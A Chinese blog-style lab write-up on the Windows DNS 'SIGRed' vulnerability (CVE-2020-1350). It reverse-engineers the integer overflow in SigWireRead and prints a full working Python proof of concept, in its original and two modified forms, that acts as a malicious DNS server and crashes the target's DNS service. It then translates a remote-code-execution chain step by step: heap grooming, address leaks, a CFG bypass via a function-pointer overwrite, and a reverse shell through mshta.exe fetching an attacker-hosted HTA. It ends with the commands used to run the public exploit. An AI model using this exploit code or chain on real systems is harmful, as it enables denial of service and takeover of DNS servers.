CVE-2020-1350漏洞分析与复现

image-20220311162152726

0x01漏洞概述

​ (CVE-2020-1350) 是 Windows DNS 服务器中的一个严重漏洞,其CVSS得分为10分,通过恶意DNS相应触发后,可以进行提权。

0x02 DNS协议与攻击流程

一、关于DNS协议

  • DNS 通过 UDP/TCP 端口 53 运行。
  • 单个 DNS 消息(响应/查询)在 UDP 中限制为 512 个字节,在 TCP 中限制为 65,535 个字节。

二、Windows中的DNS模块

  • DNS客户端——dnsapi.dll负责DNS解析。
  • DNS服务器——dns.exe负责回答DNS查询。

我们的研究关键在于对于DNS服务器的攻击,也就是对于dns.exe的分析。

三、通信流程

要让被攻击的服务器解析来自我们恶意DNS服务器的响应,需要进行以下的通信流程:

  1. 我们的域名(evilDomain.com)的NS服务器(名称服务器)配置指向我们的恶意DNS服务器(evilServer.com);
  2. 受害DNS服务器发送查询请求,查询目标为*我们的域名(evilDomain.com)*;
  3. 受害DNS服务器不知道答案,转发给上层的权威服务器,如谷歌的DNS服务器
  4. 谷歌服务器向受害者响应,告诉受害者我们的恶意DNS服务器(evilServer.com)是我们的*域名(evilDomain.com)*的名称服务器;
  5. 于是受害者DNS服务器储存此信息,然后向我们的恶意服务器(evilServer.com)发送请求;
  6. 我们的恶意服务器进行含有payloads的恶意回复;
  7. 受害DNS服务器收到该回复时,在解析的过程中受到攻击

由于无法在公网上进行实际测试,因此,我们就不进行1、2、3、4步骤,而是直接从第五步开始进行

0x03 环境配置

在上述过程中,存在多个主机:

​ 向目标靶服务器T发送DNS查询请求的请求者 A,请求的内容为域名evil.com对应的服务器 M的ip地址,目标靶服务器T不知道M的ip地址,因此转发给上级权威服务器 B,权威服务器返回恶意服务器N的地址(这是因为NM的名字服务器)。最终,T收到N的地址,向N请求M的地址。

​ 虽然看起来有很多主机,但是实际我们需要模拟的只有A、N、T三台主机。

网络配置(NAT)

需要的环境有:

Windows server 2016——作为被攻击的对象(靶机):

image-20220309151927723

Windows server 2019——作为恶意DNS服务器:

​ VMware双虚拟机最好采用NAT,同时关闭防火墙;

​ 关闭恶意DNS服务器所在主机的DNS服务,否则影响脚本中的监听服务器。

安装python 3.9.0

在Windows server 2016上配置DNS服务

image-20220308125956554

​ 同时,复现过程还需要采用Windows DNS服务器的条件转发器,略过向权威NS查询的步骤,直接向恶意DNS服务器发出查询。

在恶意服务器(server2019)配置相关信息:

image-20220309170753233

在靶机上配置条件转发器:

image-20220309224643368

可以证明条件转发器配置正确;

之后的实验中,由于不需要再使用靶机的dns服务器,为了方便进行脚本的执行,我们将恶意服务器改为kali,如下:

cve-2020-1350.drawio

0x04 漏洞原理分析

一、函数逻辑分析

找到checkpoint中提到的漏洞函数SigWireRead(),反汇编后并不长:

image-20220308145046333

关键语句:

image-20220308145405637

RR_AllocateEx()用于分配堆内存首个参数为开辟的大小,其计算方式为:

[v10] + [0x14] + [v13[0]]

我们继续步入RR_AllocateEx()函数:

image-20220308163625585

可以看到函数第一个参数大小为int16,因此其最大值为2^16=65,536

通过汇编验证一下:

image-20220308164454709

可以看到使用的时dx和cx(16位)寄存器的值,而非rdx、rcx。

因此,若可以使得传入的参数大于65,536,就可以导致整数溢出,然后RR_AllocateEx()函数就会开辟一片很小的空间,而在原函数RR_AllocateEx()中,很快就调用了memcpy函数。

很大的一块数据放入很小的一片堆内存,我们就可以进行缓冲区溢出攻击了。

二、DNS协议流程分析

因此,现在首先要确定传入RR_AllocateEx()的第一个参数是否可能达成溢出。

​ 回到SigWireRead()函数:[v10] + [0x14] + [v13[0]]的值由两个变量和一个常量组成,其本质为:[Name_PacketNameToCountNameEx result] + [0x14] + [The Signature field’s length (rdi–rax)]

​ 要利用这个数达成溢出,我们能够改变的只有[The Signature field’s length (rdi–rax)],也就是签名字段的长度,那么我们就需要从DNS协议流程的角度分析,这个值是否能够人为改变呢。

DNS包总结构:

区域名称: 区域内容:
Header 消息头部
Question DNS请求
Answer 回答请求的资源记录(Resource Record(s))
Authority 指向域的资源记录
Additional 其他资源记录

​ 固定为12 字节,同一个查询和响应的 ID 是一样的,QR 指明当前是查询还是响应,OPCODE 指明是用标准查询还是反向查询,TC 表示UDP长度大于 512 时截断并用 TCP 再次请求,QDCOUNT 表示查询的数量,ANCOUNT 表示响应的数量。

img

Question:

​ 主要由被查询的域名、查询类型和查询类组成,其中请求的域名中没有“.”,域名中的“.”被编码为元信息,指示接下来的多少字节是有效信息,试举一例:

​ 我要请求www.google.com.hk的A记录。

其中的QNAME段是:03 77 77 77 06 67 6f 6f 67 6c 65 03 63 6f 6d 02 68 6b 00

其中斜体的就是所谓的元信息!(注意需要以0x00作为结尾)

img

Answer:

​ 响应部分,以及其他两部分,其结构都如下所示,其中NAME字段为域名,依然可以使用上文中提到的元信息表示法,但是存在另一种方法,即偏移表示法(域名压缩)

​ 域名压缩本意是为了解决dns报文中多次提到域名,浪费空间,就使用较短的表示方法表示域名:

压缩方法很简单,当一个域名中的标识符是压缩的,它的“计数”字节中的最高两位将被设置为11。这表示它是一个16 bit指针而不再是8 bit的计数字节。指针中的剩下14 bit表示该标识符在DNS报文中所在的位置偏移(相对于DNS报文头)。注意一个指针可能指向一个完整的域名,也可能只指向域名的结尾部分,并且一个域名也可以前半部分不压缩,仅对后半部分才应用指针压缩。此外嵌套压缩也是存在的,即指针指向的域名也可能是压缩的(包含一个指针)。

举个例子:

img

(图片源自https://bbs.pediy.com/thread-260712.htm)

​ 图中蓝色的C0 0C部分就表示了一个压缩地址,转化为二进制后,除去两bit的1位置,剩下的表示偏移为C,表示相对报头的偏移为c。

img

sig类型数据包

​ 在上文中提到的question部分中,第二个字段是Qtype,表示了包的种类。为了触发漏洞,只有发送sig类型的数据包,才会调用SigWireRead()函数,进而才有可能利用漏洞!这部分对sig数据包做说明(其实就是上文响应区的RDATA字段。

维基百科:

SIG 24 RFC 2535 Signature Signature record used in SIG(0) (RFC 2931) and TKEY (RFC 2930).[7] RFC 3755 designated RRSIG as the replacement for SIG for use within DNSSEC.[7]

图片

各个字段的含义:

  • type covered(2 octet): RRs的类型
  • algorithm(1 octet):签名算法
  • labels(1 octet):域名通配规则
  • original TTL(4 octet):受签名保护的TTL
  • signature expiration(4 octet):签名有效的起始时间
  • signature inception(4 octet):签名有效的截至时间
  • key tag(2 octet):公钥模数或RR的简单校验和
  • signer’s name:签名者的域名,可被压缩
  • signature:签名数据序列

至此,已经完全的学习了利用此漏洞需要的背景知识,按照我们现在已有的信息,我们可以开始尝试漏洞利用。

0x05 POC使用

一、数据构造原理

在本部分中,我们参考maxpl0it的POC进行分析:

image-20220309134148733

​ 再次分析函数流程,先用Name_PacketNameToCountNameEx()计算原域名的长度,返回值用v8接到,v13 为 SIG中的 signature 长度,v10 为 SIG中 signer’s name 需要分配的空间。

​ 即:v13 = 0xffff(TCP包总长度) - 12(包头) - len(queries)(问题部分长度)- 20(0x14)
​ v10 = 源域名长度-当前域名长度(理应是同一个) = 0

这样一来,v13+v10+0x14就一定小于0xffff

​ 但是,我们可以通过上文中提到的域名压缩对v10的值进行人为干涉,让其指向我们可控长度的构造域名字段,从而更改v10的值。

二、checkpoint POC构造分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import socket
import sys
import threading
import struct

domain = None
domain_compressed = None

def setup():
global domain_compressed
# Setup
domain_split = [chr(len(i)) + i for i in domain.split(".")]
domain_compressed = "".join(domain_split) + "\x00"

# The TCP port is contacted second
def tcp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 53))
sock.listen(50)
response = ""
while True:
try:
connection, client_address = sock.accept()
print("Received TCP Connection")
data = ""

# SIG Contents
sig = "\x00\x01" # Type covered
sig += "\x05" # Algorithm - RSA/SHA1
sig += "\x00" # Labels
sig += "\x00\x00\x00\x20" # TTL
sig += "\x68\x76\xa2\x1f" # Signature Expiration
sig += "\x5d\x2c\xca\x1f" # Signature Inception
sig += "\x9e\x04" # Key Tag
sig += "\xc0\x0d" # Signers Name - Points to the '9' in 9.domain.
sig += ("\x00"*(19 - len(domain)) + ("\x0f" + "\xff"*15)*5).ljust(65465 - len(domain_compressed), "\x00") # Signature - Here be overflows!

# SIG Header
hdr = "\xc0\x0c" # Points to "9.domain"
hdr += "\x00\x18" # Type: SIG
hdr += "\x00\x01" # Class: IN
hdr += "\x00\x00\x00\x20" # TTL
hdr += struct.pack('>H', len(sig)) # Data Length

# DNS Header
response = "\x81\xa0" # Flags: Response + Truncated + Recursion Desired + Recursion Available
response += "\x00\x01" # Questions
response += "\x00\x01" # Answer RRs
response += "\x00\x00" # Authority RRs
response += "\x00\x00" # Additional RRs
response += "\x019" + domain_compressed # Name (9.domain)
response += "\x00\x18" # Type: SIG
response += "\x00\x01" # Class: IN
try:
data += connection.recv(65535)
except:
pass
len_msg = len(response + hdr + sig) + 2 # +2 for the transaction ID
# Msg Size + Transaction ID + DNS Headers + Answer Headers + Answer (Signature)
connection.sendall(struct.pack('>H', len_msg) + data[2:4] + response + hdr + sig)
connection.close()
except:
pass


# The UDP server is contacted first
def udp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = '0.0.0.0'
server_port = 53
response = "\x83\x80" # Flags: Response + Truncated + Recursion Desired + Recursion Available
response += "\x00\x01" # Questions
response += "\x00\x00" # Answer RRs
response += "\x00\x01" # Authority RRs
response += "\x00\x00" # Additional RRs

# Queries
response += "\x019" + domain_compressed # Name
response += "\x00\x18" # Type: SIG
response += "\x00\x01" # Class: IN

# Data
data = "\x03ns1\xc0\x0c" # ns1 + pointer to 4.ibrokethe.net
data += "\x03ms1\xc0\x0c" # ms1 + pointer to 4.ibrokethe.net
data += "\x0b\xff\xb4\x5f" # Serial Number
data += "\x00\x00\x0e\x10" # Refresh Interval
data += "\x00\x00\x2a\x30" # Response Interval
data += "\x00\x01\x51\x80" # Expiration Limit
data += "\x00\x00\x00\x20" # Minimum TTL

# Authoritative Nameservers
response += "\xc0\x0c" # Compressed pointer to "4.ibrokethe.net"
response += "\x00\x06" # Type: SOA
response += "\x00\x01" # Class: IN
response += "\x00\x00\x00\x20" # TTL
response += struct.pack('>H', len(data)) # Data Length

sock.bind((server_address, server_port))
while True:
try:
recvd, client_address = sock.recvfrom(65535)
print("Received UDP connection")
if len(recvd) > 2:
sent = sock.sendto(recvd[:2] + response + data, client_address)
except:
pass

if __name__ == "__main__":
if len(sys.argv) != 2:
print("python sigred_dos.py evil_domain") # For example, I ran python `sigred_dos.py ibrokethe.net`
exit()

# Domain name must be *a maximum* of 19 characters in length
domain = sys.argv[1]
if len(domain) > 19:
print("Domain length must be less than 20 characters")

setup()

# Sets up two servers: one on UDP port 53 and one on TCP port 53
first = threading.Thread(target=udp_server)
second = threading.Thread(target=tcp_server)

first.start()
second.start()

first.join()
second.join()

​ 这个脚本的总的思路来说就是利用双线程运行了tcp_server与udp_server两个模块,两模块中其实耦合还是很强的,将消息内容硬编码到字符串中,然后发送给靶机。

​ 然而其实双线程并不好用,所以我们来对脚本进行一个小修正,将其分为tcp和udp连接两个模块,同时启动,在ucp模块执行时,tcp等待:

tcp_connect.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import socket
import sys
import threading
import struct

domain = None
domain_compressed = None

def setup():
global domain_compressed
# Setup
domain_split = [chr(len(i)) + i for i in domain.split(".")]
domain_compressed = "".join(domain_split) + "\x00"


def tcp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 53))
sock.listen(50)
response = ""
while True:
try:
connection, client_address = sock.accept()
print("Received TCP Connection")
data = ""

# SIG Contents
sig = "\x00\x01" # Type covered
sig += "\x05" # Algorithm - RSA/SHA1
sig += "\x00" # Labels
sig += "\x00\x00\x00\x20" # TTL
sig += "\x68\x76\xa2\x1f" # Signature Expiration
sig += "\x5d\x2c\xca\x1f" # Signature Inception
sig += "\x9e\x04" # Key Tag
sig += "\xc0\x0d" # Signers Name - Points to the '9' in 9.domain.
sig += ("\x00"*(19 - len(domain)) + ("\x0f" + "\xff"*15)*5).ljust(65465 - len(domain_compressed), "\x00") # Signature - Here be overflows!

# SIG Header
hdr = "\xc0\x0c" # Points to "9.domain"
hdr += "\x00\x18" # Type: SIG
hdr += "\x00\x01" # Class: IN
hdr += "\x00\x00\x00\x20" # TTL
hdr += struct.pack('>H', len(sig)) # Data Length

# DNS Header
response = "\x81\xa0" # Flags: Response + Truncated + Recursion Desired + Recursion Available
response += "\x00\x01" # Questions
response += "\x00\x01" # Answer RRs
response += "\x00\x00" # Authority RRs
response += "\x00\x00" # Additional RRs
response += "\x019" + domain_compressed # Name (9.domain)
response += "\x00\x18" # Type: SIG
response += "\x00\x01" # Class: IN
try:
data += connection.recv(65535)
except:
pass
len_msg = len(response + hdr + sig) + 2 # +2 for the transaction ID
# Msg Size + Transaction ID + DNS Headers + Answer Headers + Answer (Signature)
connection.sendall(struct.pack('>H', len_msg) + data[2:4] + response + hdr + sig)
connection.close()
except:
pass


if __name__ == "__main__":
if len(sys.argv) != 2:
print("python sigred_dos.py evil_domain") # For example, I ran python `sigred_dos.py ibrokethe.net`
exit()

# Domain name must be *a maximum* of 19 characters in length
domain = sys.argv[1]
if len(domain) > 19:
print("Domain length must be less than 20 characters")

setup()
print('finish_setup')
tcp_server()
print('tcp_finish')

udp_connect.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import socket
import sys
import threading
import struct

domain = None
domain_compressed = None

def setup():
global domain_compressed
# Setup
domain_split = [chr(len(i)) + i for i in domain.split(".")]
domain_compressed = "".join(domain_split) + "\x00"

# The UDP server is contacted first
def udp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = '0.0.0.0'
server_port = 53
response = "\x83\x80" # Flags: Response + Truncated + Recursion Desired + Recursion Available
response += "\x00\x01" # Questions
response += "\x00\x00" # Answer RRs
response += "\x00\x01" # Authority RRs
response += "\x00\x00" # Additional RRs

# Queries
response += "\x019" + domain_compressed # Name
response += "\x00\x18" # Type: SIG
response += "\x00\x01" # Class: IN

# Data
data = "\x03ns1\xc0\x0c" # ns1 + pointer to 4.ibrokethe.net
data += "\x03ms1\xc0\x0c" # ms1 + pointer to 4.ibrokethe.net
data += "\x0b\xff\xb4\x5f" # Serial Number
data += "\x00\x00\x0e\x10" # Refresh Interval
data += "\x00\x00\x2a\x30" # Response Interval
data += "\x00\x01\x51\x80" # Expiration Limit
data += "\x00\x00\x00\x20" # Minimum TTL

# Authoritative Nameservers
response += "\xc0\x0c" # Compressed pointer to "4.ibrokethe.net"
response += "\x00\x06" # Type: SOA
response += "\x00\x01" # Class: IN
response += "\x00\x00\x00\x20" # TTL
response += struct.pack('>H', len(data)) # Data Length

sock.bind((server_address, server_port))
while True:
try:
recvd, client_address = sock.recvfrom(65535)
print("Received UDP connection")
if len(recvd) > 2:
sent = sock.sendto(recvd[:2] + response + data, client_address)
break
except:
pass


def tcp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 53))
sock.listen(50)
response = ""
print('tcp start listens')
while True:
try:
connection, client_address = sock.accept()
print("Received TCP Connection")
data = ""

# SIG Contents
sig = "\x00\x01" # Type covered
sig += "\x05" # Algorithm - RSA/SHA1
sig += "\x00" # Labels
sig += "\x00\x00\x00\x20" # TTL
sig += "\x68\x76\xa2\x1f" # Signature Expiration
sig += "\x5d\x2c\xca\x1f" # Signature Inception
sig += "\x9e\x04" # Key Tag
sig += "\xc0\x0d" # Signers Name - Points to the '9' in 9.domain.
sig += ("\x00"*(19 - len(domain)) + ("\x0f" + "\xff"*15)*5).ljust(65465 - len(domain_compressed), "\x00") # Signature - Here be overflows!

# SIG Header
hdr = "\xc0\x0c" # Points to "9.domain"
hdr += "\x00\x18" # Type: SIG
hdr += "\x00\x01" # Class: IN
hdr += "\x00\x00\x00\x20" # TTL
hdr += struct.pack('>H', len(sig)) # Data Length

# DNS Header
response = "\x81\xa0" # Flags: Response + Truncated + Recursion Desired + Recursion Available
response += "\x00\x01" # Questions
response += "\x00\x01" # Answer RRs
response += "\x00\x00" # Authority RRs
response += "\x00\x00" # Additional RRs
response += "\x019" + domain_compressed # Name (9.domain)
response += "\x00\x18" # Type: SIG
response += "\x00\x01" # Class: IN
try:
data += connection.recv(65535)
except:
pass
len_msg = len(response + hdr + sig) + 2 # +2 for the transaction ID
# Msg Size + Transaction ID + DNS Headers + Answer Headers + Answer (Signature)
connection.sendall(struct.pack('>H', len_msg) + data[2:4] + response + hdr + sig)
connection.close()
except:
pass

if __name__ == "__main__":
if len(sys.argv) != 2:
print("python sigred_dos.py evil_domain") # For example, I ran python `sigred_dos.py ibrokethe.net`
exit()

# Domain name must be *a maximum* of 19 characters in length
domain = sys.argv[1]
if len(domain) > 19:
print("Domain length must be less than 20 characters")

setup()
print('finish_setup')
udp_server()
print('udp_finish')
tcp_server()
print('tcp_finish')

三、POC执行

运行脚本结果如下:

image-20220310162633329

靶机上的dns服务被迫关闭了;

image-20220310162741198

攻击者这边显示收到了tcp和udp连接。

0x06 流量分析

image-20220310163153912

抓包得到,编号98为我们发送的第一条数据包,这条数据包通过更改tc字段,申请建立tcp连接:

image-20220310163431476

可以看到tcp三次握手的过程(上图中编号120开始)。

image-20220310164244803

在tcp消息中找到我们构造的tcp-sig包,图中圈出的c0 0c指向了前面的域名部分,构造了溢出。

​ 整体的过程就是,由于win server2016本地无法解析“cve1350.com”,因此会以UDP协议向恶意服务器kali发送DNS查询,也就是kali收到的第一个UDP连接。
​ 恶意服务就向受害者发送响应包,设置TC位,通知受害者采用TCP重发原来的查询请求,并允许返回的响应报文超过512个字节。这是第二个DNS包。
​ 然后进行三次握手,受害者再次以TCP协议发送请求,这就是kali收到的TCP连接。之后,恶意服务器就可以利用TCP传输大于64KB的响应包发给受害者,触发漏洞,造成堆溢出。

0x07 exp原理

​ 其实这个漏洞利用最难的部分就是如何在不破坏堆的情况下,做一个类似反弹shell的东西?在本部分中涉及到的知识我也不能完全理解,只能说尽力而为吧。

参考,引用,翻译自:
https://www.graplsecurity.com/post/anatomy-of-an-exploit-rce-with-cve-2020-1350-sigred
https://datafarm-cybersecurity.medium.com/exploiting-sigred-cve-2020-1350-on-windows-server-2012-2016-2019-80dd88594228

注:本部分图片以及文本均源自上述两个链接,并非原创,仅作翻译总结

一、背景知识

WinDNS 堆管理器(堆操作)

​ WinDNS 服务通过管理自己的内存池,以达到管理堆内存的目的。如果请求的缓冲区大小超过 0xA0 字节,它将从 Windows 本机堆管理器 ( HeapAlloc ) 请求内存;否则,它将使用memory pool bucket,每个bucket中的缓冲区都被储存在一个单链表中。如果所选memory pool bucket中没有更多可用缓冲区,则会从本机堆中请求一个内存块,划分为单独的缓冲区,然后添加到相应存储桶的列表中。

​ 简单的说,就是WinDNS 管理自己的内存池。有 4 个内存池桶 用于不同的分配大小(0x50、0x68、0x88、0xa0)。如果所需的分配大小大于 0xa0,WinDNS 将使用本机 Windows 堆。

image-20220316084140261

上图为dns!Mem_Alloc 的反编译

​ 当其中一个内存桶中的缓冲区被释放时,它们不会返回到 Windows 本机堆。相反,它们会被添加回该存储桶的可用缓冲区列表中。缓冲区是按后进先出 (LIFO) 分配的,这意味着要释放的最后一个缓冲区将是下一个要分配的缓冲区。

image-20220316085438468

dns反编译!Mem_Free

WinDNS 缓冲区结构

WinDNS 缓冲区的结构如下:

​ 这个结构就是相当于缓冲区里没有东西时,应该放什么。

img

在开发exp的过程中,我们需要用到这个结构。

RR_record结构

这个结构就是我们储存一条dns记录在堆中的结构。

img

二、开辟地址,避免分段错误(打洞)

​ 如果我们可以在一个连续堆段的中间触发释放缓冲区,然后重新分配它给另一条数据,这条数据我们构造溢出缓冲区,我们就可以获得一大片地址,但是于此同时,我们需要避免出现segfault。

​ 那么,什么时候会发生segfault呢?顾名思义,就是当系统检测到地址放的东西与应该放的东西不一样的时候就会报错,那么系统监测发生在什么时候呢?就是在进行HeapAlloc 和 HeapFree 的时候,我们只要HeapFree的调用,就不会出现segfault

​ 要做到上述的思路,我们可以通过向受害者客户端进行查询,通过控制恶意DNS服务器返回内容的 TTL(生存时间)来达成该思路,也就是说,生存时间足够长的记录只要一直不释放,系统就不会检测,不检测就不会出现segfault。注:过期记录每约 2 分钟释放一次。

img

恶意 DNS 服务器控制 TTL,使其增长

总结一下我们开辟一片连续稳定,用于溢出的堆地址的基本步骤:

  • 向受害者服务器多次查询恶意域的子域。
  • 恶意 DNS 服务器会给受害者很多响应,受害者将其缓存在堆内存中(这些响应都没有溢出)。
  • 恶意 DNS 服务器将为除一个之外的所有子域分配一个长 TTL(生存时间),只有一个子域有短TTL,所以他两分钟之后就会被释放。
  • 两分钟后,我们短TTL的缓冲区被释放,并发生了检测,没有异常。
  • 然后使用SIG消息查询,这一次恶意DNS服务器会返回溢出的数据。
  • 因为缓冲区是 LIFO 分配的,所以新的记录缓冲区将与内存中刚刚过期,被释放的那条记录具有相同的地址。

这也就是所谓的打一个洞。

img

在堆中打一个洞以避免 SEGFAULT

​ 当然,我们还可以做的更好,因为短 TTL 这一思路还必须要等待两分钟,在这两分钟里,其他的事件、或者其他人的请求有可能会打乱我们的攻击流程,让我们失去对于堆中所存数据的控制(就是容易时间一长就出问题)。所以我们需要一个方法达到瞬间释放缓冲区!

​ 也就是,更改RR_record中的dwTTL和**dwTimeStamp **字段。为什么更改这个字段有效果呢?受害服务器记录了这条信息后,我们可以再次向他发出对于这条信息的请求,这样一来他就会再堆区中查询这条数据,但是他查到之后不会立刻返回给我们,而是会检查这条信息有没有过期,如果过期了,就会被释放。

​ 简单地说,我们将dwTTL和**dwTimeStamp **字段置为0,然后再向受害者发送同样的查询信息,他就会主动将改记录的内存释放,也就达成了我们需要的可控释放(立即释放)。

三、泄漏内存地址

泄漏堆地址(相对地址)

我们现在可以通过执行以下操作来泄漏堆中的地址:

  • 按照上文中提到的立刻释放的方法,释放假的RR_Record,这样一来,释放后的内存就会如同上文中提到的WinDNS 缓冲区结构一样,含有一条pNextFreeBuff的记录。
  • (这一步实际在上一步之前进行)给被释放record上面的那个假RR_Record一个大的wRecordSize,超过其实际大小。
  • 向受害者发送子域的SIG查询,查询伪造的大wRecordSize的那条记录。
  • 响应将超过缓冲区的实际大小,并在其下方包含已释放记录的WINDNS_FREE_BUFF结构数据。这会在pNextFreeBuff字段中泄漏一个有效的堆地址。

img

使用伪造的 RR_Record 对象泄漏堆指针

​ 这样一来,如上图所示,蓝线上面的pNextFreeBuff就会返回到恶意服务器,我们获得了第一个内存泄漏!但是,我们实际上并不知道泄露的指针相对于我们控制的堆区域的位置,如果我们能得到溢出缓冲区的地址就更好了。因此,我们可以简单地释放两个假的RR_Record对象,并泄漏我们最后释放的缓冲区的地址。释放缓冲区时,指向在写入pNextFreeBuff字段之前已释放的缓冲区的指针。

img

泄漏指向堆的可控部分的指针

‍ 我们
现在知道了我们控制的部分堆的确切地址!这将在以后有用。

泄露 dns.exe 地址(绝对地址)

​ 接下来,我们需要在需要处理ASLR (地址空间布局随机化)。要泄漏dns.exe内部的地址,我们需要触发分配一种特殊类型的对象,我将其称为DNS_Timeout对象。

DNS_TimeOut对象具有以下结构:

img

​ 当 DNS 记录过期时,调用dns!RR_Free。如果 DNS 记录类型为DNS_TYPE_NSDNS_TYPE_SOADNS_TYPE_WINSDNS_TYPE_WINSR [6],它们不会立即释放。而是调用dns!Timeout_FreeWithFunctionEx

img

image-20220316200416598

(我好迷惑为什么我逆向的结果完全和他们不一样呢?)

dns的近似反编译!RR_Free

‍ 在Timeout_FreeWithFunctionEx中,为DNS_Timeout对象分配了一个 WinDNS 缓冲区,然后,RR_Free的地址和一个字符串分别写入该对象的pFreeFunctionpszFile字段。这些将是我们的dns.exe地址泄漏。如果我们在我们控制的堆区域中触发超时对象的分配,我们可以使用与之前相同的方法来泄漏地址。

​ 重点是将RR_Free函数的地址卸载了堆内存中,这是这个问题的关键。

img

dns!Timeout_FreeWithFunctionEx 的反编译

我们通过首先释放一个假缓冲区大小为 0x50的假RR_Record对象来触发对象分配,这是为 DNS_Timeout 对象分配的存储桶内存大小。然后,我们向受害者进行一些NS查询以获取恶意域。一旦记录过期,将为每个查询分配一个超时对象。如果在等待NS记录过期时释放了大小为 0x50 的新缓冲区,则有必要进行其中几个查询。我们可以再次通过请求其上方的缓存记录来泄漏内存,使用伪造的大wRecordSize。(总之呢,就是使用和上面一样的方法,但是不同的函数进行触发)

img

通过分配 DNS_Timeout 对象泄漏 dns.exe 地址

现在我们已经泄露了dns.exe中的地址,我们可以使用它们来计算二进制文件中函数的地址。通过获取泄漏地址的最后 12 位,我们可以为各种版本的dns.exe创建一个到偏移量的映射。

最初,我认为我可以通过简单地使用wRecordType = DNS_TYPE_NS释放一个假的RR_Record对象来触发超时对象的分配因此,避免了等待 2 分钟让 NS 记录过期。但是,当我尝试执行此操作时,一些检查会阻止使用修改后的wRecordType在fakeRR_Record上调用RR_Free。我在调查这个问题时没有时间,所以这是一个潜在的改进领域。

四、任意读取

​ 请注意,通过上文中提到覆盖RR_free的方法,我们已经能够通过覆盖已分配的DNS_timeout对象中的pFreeFunction指针来执行代码。

​ 更进一步的,在函数dns!Timeout_CleanupDelayedFreelist中,为CoolingDelayedFreeList中的每个超时对象( DNS_Timeout 对象)调用pFreeFunction中的函数地址,简言之,就是通过列表的方式调用函数。

img

dns!Timeout_CleanupDelayedFreeList 的近似反编译

​ 我们可以在分配超时对象覆盖这些字段后再次触发漏洞。

​ 现代版本的dns.exe使用 Control Flow Guard (CFG) [4]进行编译。绕过 CFG 的一种已知方法是破坏堆栈[11]上的返回地址并使用 ROP [7]方法执行。注:CFG是一种在在运行时加载地址的防漏洞方式。但是,我们目前还没有稳定的方式来写入堆栈。相反,我们可以找到用于原语的有效调用目标(即dns.exe中的函数)。

​ 一个合适的候选者是dns!NsecDnsRecordConvert,它采用一个参数[3]

NsecDnsRecordConvert的参数应具有以下结构:

img

​ 在这个函数内部,分配了一个缓冲区并调用了Dns_StringCopy,如果我们控制传入的函数参数及其内容,我们就可以将pDnsString字段设为我们要读取的地址。在DNS_StringCopy内部,分配了一个缓冲区,并复制了pDnsString指向的数据(直到一个空字节),也就是通过这个函数实现任意读取。

img

dns的反编译!NsecDnsRecordConvert

​ 因为我们还控制wSize,所以我们控制分配的缓冲区的大小。因此,我们强制将新缓冲区分配到我们控制的堆区域中。数据复制完成后,我们使用与之前相同的方法泄漏内存。

img

任意读取原语

​ ‍ 我们读取的msvcrt.dll的地址。我选择了dns!_imp_exit,其中包含msvcrt!exit的地址。这将破坏msvcrt.dll的 ASLR 。有了这个,我们可以计算出msvcrt!system的地址。

五、代码执行与shell连接

​ 现在所有部分都已准备就绪,可以远程执行代码了。我们可以再次触发DNS_Timeout对象的分配。然后,我们用msvcrt!systempFreeFuncParam覆盖pFreeFunction ,并使用包含有效负载命令的内存堆地址。为了获得反向 shell,我选择使用mshta.exe从攻击者托管的 HTTP 服务器执行 HTA shell。我发现这是最简单的解决方案,但还有许多其他可能性。该漏洞也可以被重新设计以使用任何其他函数而不是system

Mshta.exe:

​ Mshta.exe运行MicrosoftHTML应用程序主机,这是WindowsOS实用程序,负责运行HTA(HTML应用程序)文件。我们可以用来运行JavaScript或VBScript的HTML文件。您可以使用MicrosoftMSHTA.exe工具解释这些文件。

现在,通过受害者计算机上的mshta.exe(容易受到RCE攻击)运行恶意代码,以获取Meterpreter会话。

总之呢,就是在达成rce之后,就可以通过Mshta.exe来构造一个反弹shell,应该是这个意思吧。

0x08 exp的利用

实验环境:ubuntu20.04+Win server2019

利用步骤:

​ 首先要把ubuntu的53端口系统进程杀死,然后执行指令:

  1. sudo python3 configure.py -ip 192.168.6.131 -p 8081 -hp 80
  2. sudo python3 evildns.py
  3. python3 exploit.py -ip 192.168.6.129 -d cve1350.com
  4. python3 reverse_shell/server.py -p 8081

image-20220315174042283

效果:(远程控制)

image-20220316153134148

0x09 参考文献

提供poc脚本:
https://github.com/maxpl0it/CVE-2020-1350-DoS

优秀指导教程:
https://www.cnblogs.com/PsgQ/p/14806195.html#/c/subject/p/14806195.html
https://mp.weixin.qq.com/s/gdPUGnFLKzS5FqcH8T9byw
https://bbs.pediy.com/thread-260712.htm

checkpoint:
https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/

exp思路、源代码、运用:

https://www.graplsecurity.com/post/anatomy-of-an-exploit-rce-with-cve-2020-1350-sigred

https://github.com/chompie1337/SIGRed_RCE_PoC

exp构造原理:

